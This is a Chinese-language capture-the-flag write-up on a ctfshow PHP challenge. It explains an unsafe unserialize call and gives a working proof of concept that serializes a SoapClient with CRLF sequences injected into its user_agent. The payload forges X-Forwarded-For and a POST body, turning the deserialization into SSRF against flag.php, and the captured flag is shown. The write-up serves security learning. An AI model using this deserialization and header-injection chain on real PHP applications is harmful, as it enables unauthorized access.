PHP/7.3.11SSRFCRLFSoapClient
    index.php

    1. <?php
    2. highlight_file(__FILE__);
    3. $vip = unserialize($_GET['vip']);
    4. //vip can get flag one key
    5. $vip->getFlag();

    flag.php (大概如下

    1. <?php
    2. $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    3. array_pop($xff);
    4. $ip = array_pop($xff);
    5. if($ip!=='127.0.0.1'){
    6. die('error');
    7. }else{
    8. $token = $_POST['token'];
    9. if($token=='ctfshow'){
    10. file_put_contents('flag.txt',$flag);
    11. }
    12. }

    分析:
    不就 XFF伪造?
    image.png
    估计给的代码是不完整的,还真实 IP 判断,估计大概是这样的

    1. <?php
    2. $flag = "flag_tari";
    3. $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    4. array_pop($xff);
    5. $ip = array_pop($xff);
    6. if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
    7. if($ip!=='127.0.0.1'){
    8. die('error');
    9. }else{
    10. $token = $_POST['token'];
    11. if($token=='ctfshow'){
    12. file_put_contents('flag.txt',$flag);
    13. }
    14. }
    15. }
    16. echo "your ip not 127.0.0.1";

    搜了一波,奇怪的知识增加了,除了XFF,本题还用到 SSRF(SoapClient)+CRLF组合拳,毕竟我们的 index.php 还有用到呢

    需要利用 SSRF 访问 flag.php 并构造 XFF 和 POST 数据,SSRF漏洞在哪呢?

    SoapClient类 __call 魔术方法

    __call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法

    当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。

    因此,当我们运行 index.php$vip->getFlag(); 方法时,会因 SoapClient 不存在 getFlag 方法而调用 __call() 魔术方法,进而发送一个 POST 请求

    poc

    1. <?php
    2. $post_string = 'token=ctfshow';
    3. $soap = new SoapClient(
    4. null,
    5. array(
    6. 'uri'=> "http://127.0.0.1/flag.php",
    7. 'location' => 'http://127.0.0.1/flag.php',
    8. 'user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
    9. // 'user_agent'=>"edge\x0D\x0AX-Forwarded-For:127.0.0.1,127.0.0.1\x0D\x0AContent-Type: application/x-www-form-urlencoded"."\x0D\x0AContent-Length: ".(string)strlen($post_string)."\x0D\x0A\x0D\x0A".$post_string,
    10. )
    11. );
    12. echo(urlencode(serialize($soap)));
    13. ?>

    这里注意下,包含特殊字符转义的,比如 \r\n 要用双引号 " 单引号保持原来的语义的。
    image.png
    warning 没关系
    image.png
    flag
    ctfshow{36fb528e-4d82-4aaf-9bf6-117955a09b39}